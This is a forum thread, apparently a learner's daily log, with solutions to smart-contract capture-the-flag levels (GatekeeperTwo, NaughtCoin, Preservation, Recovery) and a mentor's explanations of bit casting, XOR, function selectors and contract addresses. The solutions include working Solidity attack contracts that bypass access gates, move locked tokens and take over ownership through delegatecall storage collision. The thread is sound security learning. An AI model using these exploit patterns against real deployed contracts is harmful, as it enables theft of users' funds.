My Coding Journey: From Finance to Smart Contract Auditor

Again, the important thing to remember here is that casting from a larger type to a smaller type means that you are left with the least significant part of the original value.

For example, given the 64-bit value:

x == b63, b62, b61, ..., b2, b1, b0

If we cast it to a 32-bit value:

y = uint32(x)

Then we get the 32-bit value:

y == b31, b30, b29, ..., b2, b1, b0

Now, in order to compare between them, we first need to expand y to the size of x.
Of course, we can't change the actual value of y, so we only expand it with leading zeros:

y == 0, 0, 0, ..., b31, b30, b29, ..., b2, b1, b0

Then we finally compare between them:

x == b63, b62, b61, ..., b34, b33, b32, b31, b30, b29, ..., b2, b1, b0
y ==  0 ,  0 ,  0 , ...,  0 ,  0 ,  0 , b31, b30, b29, ..., b2, b1, b0

As you can see, they are equal if and only if bits 63-32 are all zeros.

If you still find it hard to understand, let's simulate the whole thing with a pair of values in base 10:

  • Let x = Decimal8(ABCDEFGH)
  • Let y = Decimal4(x) = EFGH
  • Compare:
    • x == ABCDEFGH
    • y == 0000EFGH

As you can see, x == y if and only if ABCD == 0000

Now it should hopefully be easier for you to see why:

  • uint32(uint64(n)) == uint16(uint64(n)) requires that bits 16-31 are all set to zero
  • uint32(uint64(n)) != uint64(n) requires that bits 32-63 are not all set to zero

As for the construction of the value of _gateKey as a hexadecimal string - note that such strings:

  • Are used for representing numerical values in base 16 (aka "hexadecimal")
  • Consist of characters from the set [0 thru 9] and from the set [A thru F]
  • Are case-insensitive, hence the set [A thru F] is synonymous [a thru f]
  • Typically start with the prefix "0x" (though it is application-dependent)

Each character represents a unique sequence of 4 bits, denoting a unique value in base 2:

| Character | Bit Sequence | Decimal Value |
|     0     |     0000     |        0      |
|     1     |     0001     |        1      |
|     2     |     0010     |        2      |
|     3     |     0011     |        3      |
|     4     |     0100     |        4      |
|     5     |     0101     |        5      |
|     6     |     0110     |        6      |
|     7     |     0111     |        7      |
|     8     |     1000     |        8      |
|     9     |     1001     |        9      |
|     A     |     1010     |       10      |
|     B     |     1011     |       11      |
|     C     |     1100     |       12      |
|     D     |     1101     |       13      |
|     E     |     1110     |       14      |
|     F     |     1111     |       15      |

For example, the string "0x14E5" represents the bit-sequence 0001 | 0100 | 1110 | 0101.

Let's assume that the last 4 characters (least 16 bits) in the wallet address are A57C.

Hence the value of _gateKey can be constructed as:

const _gateKey = "0x"
    + "00" // the bit-sequence 0000|0000 is placed between bit 63 and bit 56
    + "00" // the bit-sequence 0000|0000 is placed between bit 55 and bit 48
    + "00" // the bit-sequence 0000|0000 is placed between bit 47 and bit 40
    + "01" // the bit-sequence 0000|0001 is placed between bit 39 and bit 32
    + "00" // the bit-sequence 0000|0000 is placed between bit 31 and bit 24
    + "00" // the bit-sequence 0000|0000 is placed between bit 23 and bit 16
    + "A5" // the bit-sequence 1010|0101 is placed between bit 15 and bit  8
    + "7C" // the bit-sequence 0111|1100 is placed between bit  7 and bit  0
1 Like

I've genuinely looked at multiple online sources and videos yet your explanation is BY FAR the clearest I've seen it explained. Thank you so much, that makes so much more sense!!!

1 Like

Day 25:


  • Get past the gates (similar to days 23/24) and register as an entrant.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;


  • the setup for the first gate is the same as previous (see above for breakdown);
  • gateTwo - the 'assembly' keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. The 'extcodesize' call in this gate will get the size of a contract's code at a given address noting there is a requirement that x must equal 0; and
  • gate 3 - this one was complex for me. 'keccak256(abi.encodePacked(msg.sender)' computes the Keccak-256 hash of the msg.sender. From there it is cast to an 8byte gatekey. Noting that the ^ character in the third gate is a bitwise operation (XOR) meaning for each bit where one input is 1 and the other 0, the output is 1. If both bits are 1 or both are 0, the output is 0 for the bit.

Again, this challenge is taking me a while so I am focusing my attention on gateThree. I'll be sure to post a comprehensive solution tomorrow.

Well, due to the nature of XOR, we know that A ^ B == C if and only if A ^ C == B.

Hence we know that this is true:

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max

If and only if this is true:

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max == uint64(_gateKey)

So we only need to calculate the value of left-hand side in the equation above, and then use that value as input to the contract function.

For example, using web3.js, we can use something like:

const Web3 = require("web3.js");
function calc_gateKey(relayContract) {
    const x = Web3.utils.keccak256(relayContract.address);
    const A = Web3.utils.toBN("0x" + x.slice(50, 66)); // last 16 characters (least 64 bits)
    const C = Web3.utils.toBN("0x" + "F".repeat(16));  // highest possible value of 64 bits
    const B = A.xor(C);
    return "0x" + B.toString(16); // return a hexadecimal string representing the value of `B`
1 Like

Day 26:

With the explanation provided by barakman, the XOR nature of the challenge became relatively straightforward. I decided to take a different approach to using web3.js and instead decided to implement the hack in one contract:

pragma solidity ^0.8;

interface IGateKeeperTwo {
    function entrant() external view returns (address);
    function enter(bytes8) external returns (bool);

contract letMeIn{
    constructor(IGateKeeperTwo target) {
        uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        uint64 k = type(uint64).max ^ s;
        bytes8 key = bytes8(k);
        require(target.enter(key), "try again");

The solution to this contract relates again to the bitwise XOR operation. As barakman has pointed out, the logic (by way of an example) is, say:
a = 1010
b = 0110
this means that a ^ b = 1100, provided that 1 /= 0, meaning the result is a 1 and if the two numbers were equal it would equal 0. I've printed the rest of the logic as follows:

    // a ^ a ^ b = b

    // a     = 1010
    // a     = 1010
    // a ^ a = 0000

    // max = 11...11
    // s ^ key = max
    // s ^ s ^ key = s ^ max 
    //         key = s ^ max 

I found this challenge particularly hard given my lack of familiarity with XOR and byte manipulation. Special shoutout to barakman that has been a wealth of knowledge on the topic!!

1 Like

FYI, each one of [xor, and, or] is defined as a logical operation, which:

  • Takes two boolean operands as input
  • Returns a boolean result as output

Solidity defines a corresponding bitwise operation for each one them, which:

  • Takes two integer operands as input
  • Returns an integer result as output

By 'bitwise', it means that the operation is applied independently on each pair of bits (one from each input operand), which are located in the same order of significance.

The syntax for the 6 operations above is:

  • &&: boolean-and
  • ||: boolean-or
  • &: bitwise-and
  • |: bitwise-or
  • ^: bitwise-xor

You might notice that a logical-xor is missing in the list above.

Most languages actually allow using ANY of these operators on ANY combination of boolean and integer input operands, while the type of the output is determined simply by the type of the operator used. In other words, regardless of the types of the input operands:

  • Boolean operators return a boolean result
  • Bitwise operators return an integer result

Thus, in most languages, the ^ operator implicitly supports boolean-xor.
The result of A ^ B with both A and B being boolean operands, is essentially equivalent to A != B, making this support somewhat redundant.

Solidity actually makes an exception to all of the above.
It allows using logical operators ONLY on logical operands, and bitwise operators ONLY on bitwise operands, thus not supporting boolean-xor.
But as mentioned above, the != operator can be used for that purpose.

All of these operations can also be defined using a truth-table:

| Input A | Input B | XOR Output | AND Output | OR Output |
|    0    |    0    |      0     |      0     |     0     |
|    0    |    1    |      1     |      0     |     1     |
|    1    |    0    |      1     |      0     |     1     |
|    1    |    1    |      0     |      1     |     1     |

As you may understand, [xor, and, or] are just 3 out of 16 possible operations which can be defined in a similar manner.

For example, we can define xnor with the following truth-table:

| Input A | Input B | XNOR Output |
|    0    |    0    |      1      |
|    0    |    1    |      0      |
|    1    |    0    |      0      |
|    1    |    1    |      1      |

But the language does not define any special operator for this, since the 3 supported operators allow implementing in code any of the other 13 possible operators (in fact, any 2 out of these 3 are sufficient, but it would result with more cumbersome code, hence the 3 supported operators are considered kind of standard).

Thank you for sharing this - that is an excellent breakdown of a really technical area I wouldn't have otherwise looked into further (I found your tables really assisted in understanding this further).

I have no doubt I'm going to come across audits and challenges that rely on this know...I know who I'll be asking!!

1 Like

Day 27:

NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = block.timestamp + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0') {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
    } else {


  • imports the OZ ERC20 token standard;
  • timelock is a uint variable that is locked from the block.timestamp for 10 years, as described above;
  • an initial supply of naughtcoin is supplied;
  • the player's address is mapped;
  • '_mint' creates a value amount of tokens and assigns them to account, by transferring it from address(0). Note that this relies on on the _update mechanism. This is important because the _update mechanism transfers a 'value' amount of tokens 'from' from to 'to', or alternatively mints (or burns) if from (or to) is the zero address. All customizations to transfers, mints, and burns should be done by overriding this function ; and
  • the 'transfer' function correctly specifies its 'to' and 'value' parameters making sure that the lockTokens modifier applies (i.e. you will not be able to transfer tokens from the contract <10 years).

The Solution

  • As foreshadowed above, if you want to modify inherited values (i.e. transfer functions) you will have to make sure that a modifier applies to all iterations of this function. We only applies this to a 'transfer' function as it is defined by the ERC20 standard.
  • to exploit this code, I created the following contract and made sure to use a 'TransferFrom' function that has no modifier applied to it.
pragma solidity ^0.8;

interface INaughtCoin {
    function player() external view returns (address);

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

contract Hackcoin {
    function rekt(IERC20 coin) external {
        address player = INaughtCoin(address(coin)).player();
        uint256 bal = coin.balanceOf(player);
        coin.transferFrom(player, address(this), bal);

I'm assuming that by "interherited", you meant "inherited" (otherwise, I am not familiar with this term).

You can't "modify inherited values" here, because the contract given to you is already deployed.

You also don't need to, either.

Based on the question, player is a wallet under your control (i.e., an externally-owned account whose private key is known to you).

This wallet owns 1000000 NaughtCoin tokens, i.e., NaughtCoin.balanceOf(player) = 1000000e18.

And the problem that you, as the owner of the player wallet, are faced with, is that you cannot transfer these tokens to another wallet.

So all you need here is:

  1. Create wallet xxx (randomize a private key and generate its corresponding address)
  2. Use wallet player to sign and send NaughtCoin.approve(xxx, 1000000e18)
  3. Use wallet xxx to sign and send NaughtCoin.transferFrom(player, xxx, 1000000e18)

All of the above can be done completely offchain, no need to implement any additional contract.

BTW, your attempt to execute coin.transferFrom(player, ...) inside function Hackcoin.rekt will revert the transaction, unless you first sign and send the following transaction using the player wallet, from an offchain script:

NaughtCoin.approve(Hackcoin.address, 1000000e18)

You are right, I meant inherited (spelling mistake I've now amended).

This is a case of poor wording on my behalf, what I was driving at is that the contract had a function that had been inherited ('transfer') and the contract owner had modified its functionality. By not checking OZ documentation, the owner had failed to consider that coins were capable of being transferred via another inherited function ('transferFrom').

This is a fair point and something I hadn't considered / properly looked into.

Thank you for pointing this out - this was a step I neglected to document but a very important one given the context.

1 Like

Day 28

This contract utilizes a library to store two different times for two different time zones. The constructor creates two instances of the library for each time to be stored. The goal of this level is for you to claim ownership of the instance you are given.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;

Code Breakdown

  • timeZone1Library, timeZone2Library and, owner are all set as public address types;
  • storedTime is a uint variable;
  • a constant variable (i.e. a variable that remains unchanged once it has been initially set) is a 4 byte function named 'setTimeSignature'. The value of the setTime uint256 function (set at the bottom of the contract) is cast to a hexadecimal value that is cast to a 4byte value;
  • setTime function takes a uint input of '_time' that is set to storedTime, doing exactly as it says on the tin and storing the timestamp;
  • it is worth calling out that the LibraryContract is a separate contract that solely exists to set and store the timestamp value;
  • the constructor of the Preservation contract takes the parameters of address1 and 2, and specifies that the owner = msg.sender;
  • setFirstTime (and a similar logic for setSecondTime) takes a '_timestamp' uint parameter. This function then takes the TimeZone[1/2]Library and uses delegatecall to retrieve an abi.encodePacked set of parameters. What this means is that the contract is interacting with offchain data to make sense of a variable that is outside the ambient of Solidity (i.e. time formatting, timezones, etc.). The ABI is then directed to the setTimeSignature constant and _timeStamp variable;
  • a brief note on the delegatecall functionality: it is a low-level function that allows a contract to delegate its call to another contract (i.e. borrowing the functionality of another contract) while still preserving its own storage and context. The key point to note is still preserving its own storage and context. What this means is that when this call is executed within the context of another application, new vulnerabilities can surface...and it does.

As outlined above, the vulnerability comes in the form of the delegatecall functionality in combination with a misunderstanding of variable storage in Solidity. Breaking this down further:

  • if you call setFirstTime (as you are able to do given it is a public function with no restrictions), it calls timeZone1Library, which is set inside the constructor. Then it delegates the call to call setTimeSignature, which is the function 'setTime(uint256)'.
  • by calling the setTime function in the LibraryContract (via the delegatecall function), you are telling Solidity to action the code contained in this contract, in the first half of the Perseveration contract. As such, you will need to be mindful of storage variables;
  • uint storedTime is a first state variable in the LibraryContract but timeZone1Library is the first state variable in the Preservation contract.

I welcome any discussion on this solution because it was conceptually tricky to understand and my explanation required me to jump around both contracts a lot. For reference, here is my contract used to attack the vulnerability:

pragma solidity ^0.8;

interface IPreservation {
    function owner() external view returns (address);
    function setFirstTime(uint256) external;

contract Hack {
    // Aligned storage variables as mentioned above (i.e. Preservation storage is equal to LibraryContract)
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function attack(IPreservation target) external {
        // To complete challenge, the new owner must be the player so we use msg.sender
        require(target.owner() == msg.sender, "hack failed");

    function setTime(uint256 _owner) public {
        owner = address(uint160(_owner));

That's not "a 4 byte function named 'setTimeSignature'".

It is a function selector - essentially, the first 4 bytes in the hash of the string which represents the function prototype (i.e., the function name followed by the function input argument types).

For example:

  • Given function func(uint64 x, uint32 y, bool z) external view returns (uint16 w)

  • The string representing the prototype of that function is "func(uint64,uint32,bool)"

  • The hash of that string is keccak256("func(uint64,uint32,bool)")

  • And the first 4 bytes in that hash are bytes4(keccak256("func(uint64,uint32,bool)"))

Important things to pay special attention to:

  1. No spaces should be added anywhere within that string (after the function name, between the argument types, etc)
  2. Type uint is only an alias for type uint256; although they are identical when used natively, they are not identical when denoted in a string (any string for that matter); hence, for the sake of computing the function selector correctly, uint should always be replaced with uint256

The function selector of every public and external function in your contract source code, can be found within your compiled contract byte-code. In fact, this is how external function calls are executed - by computing the selector of the called function, and then tracing it in the byte-code of the target contract.

1 Like

Thank you for picking this up! This is actually really insightful and I really appreciate your 'type' point - I never would have known that otherwise.

Can I also ask perhaps an obvious question: is a function selector used primarily as an efficient way to trace the byte-code of the target contract? Aside from this contract, what other purposes might a function selector serve?

1 Like

The byte-code of a given contract doesn't need to be traced, as it is already pointed by the address of that contract. Also, different contracts may implement the exact same function, meaning that the selector of that function will appear in the byte-code of each one of them, making it impossible to use that selector as a unique identifier of one specific contract.

I don't quite understand what you mean by "other", since it doesn't serve the purpose that you asked about in your previous question.

The selector of a contract function is assumed to uniquely identify one specific function implemented in that contract. It can be used in order to invoke that function - either from another contract, or from an offchain script. This method is not intended to replace the "native" way for invoking contract functions. When you know in advance exactly which function you want to invoke, then there is obviously very little reason to use this method. But when you want to allow that decision to take place during runtime (depending on some user-input, for example), then this method becomes valuable.

Day 29:

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address. This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);

contract SimpleToken {

  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) {
    name = _name;
    balances[_creator] = _initialSupply;

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value * 10;

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender] - _amount;
    balances[_to] = _amount;

  // clean up after ourselves
  function destroy(address payable _to) public {


  • the Recovery contract holds a single function 'generateToken' that does as it says on the generates a new SimpleToken contract containing the name, the msg.sender and the initial supply (each respectively broken down below). Note that in generating the token it will ask for a token name and the initial supply you want to generate for that token;
  • SimpleToken takes a public name in the form of a string, and maps the balance associated with that name to the string. The address of the SimpleToken creator will also be recorded ensuring that the balance of the creator is the initial supply of the tokens;
  • receive() ensures the SimpleToken contract is able to receive ETH and also adjusting the balances of the msg.sender;
  • the 'transfer' function is a generic transfer function that takes an address ETH is being sent to (alongside the amount of ETH being sent) and updates balances of the sender and receiver to reflect the transfer. Importantly, the balance of the msg.sender must be more than or equal to the amount being sent 'require(balances[msg.sender] >= _amount)'; and
  • the destroy function takes the address the ETH is being sent to and forces the ETH contained in that same contract to be sent back to the SimpleToken address .

I thought the solution might have been as simple as retrieving the Recovery contract's address and looking to its internal functions (i.e. taking its address, copying to etherscan and looking through to find the address of the contract with the balance of 0.01 ETH. However, I found when I did this the contract contained no transactions (perhaps I am doing it wrong?) see here for address details.

I don't think the creation of another contract is necessary here but I'm open to suggestions as I work through this one.

Noted. This makes sense, thanks for clarifying.

I can see why you might have been confused by that second question. This quoted part clears things up - I was trying to understand the value add of the function. Thanks again!

1 Like

You should first describe exactly what the problem here is, namely:

The value returned from calling new SimpleToken, which is essentially a pointer to the newly-deployed SimpleToken contract instance, is not stored anywhere. Neither by emitting it in an event, which would allow tracing it in the logs. Nor by storing it in a state-variable of the Recovery contract, which would allow reading it directly from that contract.

So you need to understand how the address of a newly-deployed contract is determined.

In short, it is computed from the address of the account which creates it - either an externally-owned account or a smart-contract account, and in conjunction with how many transactions this account has executed up until that point (aka nonce).

In long, see this answer on stack-overflow.

1 Like

Continuing the post above, and FYI, there is no contract deployed at this address:

But assuming that you do know the address of the Recovery contract, a hint within the question tells you what the nonce of this contract was, upon the deployment of the token contract.

The nonce of a contract increases from 0 to 1 upon the deployment of that contract (since this deployment is by itself a transaction).

Then, the nonce increases by 1 every time a state-changing function of that contract is executed by another account (i.e., either from another contract, or from an offchain script).

In other words, after deployment, the nonce of a contract increases only as a result of a non-pure non-view public or external function of that contract being executed.

And since the Recovery contract implements only one such function, the only way for its nonce to increase after deployment is as a result of that function being executed.

Finally, the hint given to you in the question is:

Which implies that the aforementioned function has never been executed up until that point.
Hence, the contract's nonce must have been 1 when the first token contract was deployed.
So by now you should know BOTH the address AND the nonce of the Recovery contract.

1 Like

Thank you so much for both of your responses!

This is a very fair point - I need to get better at expressing what problem I'm looking to solve as opposed to jumping straight to the code.

The breakdown to arrive at this was very much appreciated - I'm looking into it now and will post the solution shortly. Thanks again for the guidance.

Day 30:

Today I learnt more about contract addresses - with a huge assistance from barakman.

As outlined above, the central issue is how do you locate the address of an ETH contract?

The way I stepped through the solution was:

  1. deploy a contract that: a) that takes the interface of the SimpleToken and the Recovery contracts, and b) returns the address of the initially deployed SimpleToken address as a check;
  2. dig through the deployed contract on the testnet to review the nonce details (as suggested in the above discussion);
  3. once you've backtracked through the appropriate nonce it will contain the contract with 0.01 ETH;
  4. deploy the following code so that it destroys the contract and returns it to your specified address:

interface ISimpleToken {
function name() external view returns (string memory);
function destroy(address to) external;

You can see this playout on the Sepolia testnet whereby I implemented the above is found at this address on etherscan: 0x4D5819529EF9b358478b67c4BC83dF871eFf9917.

I also was linked this article after completing the challenge. It was an interesting read on how ETH might be hidden (whether effectively or ineffectively is left up to the reader) amongst the mainnet.

I'll be taking a crack at another challenge tonight so I'll post day 31 ahead of time.

A special thank you to barakman for your continued support via 100 posts and a straight month of coding in solidity every day!!

1 Like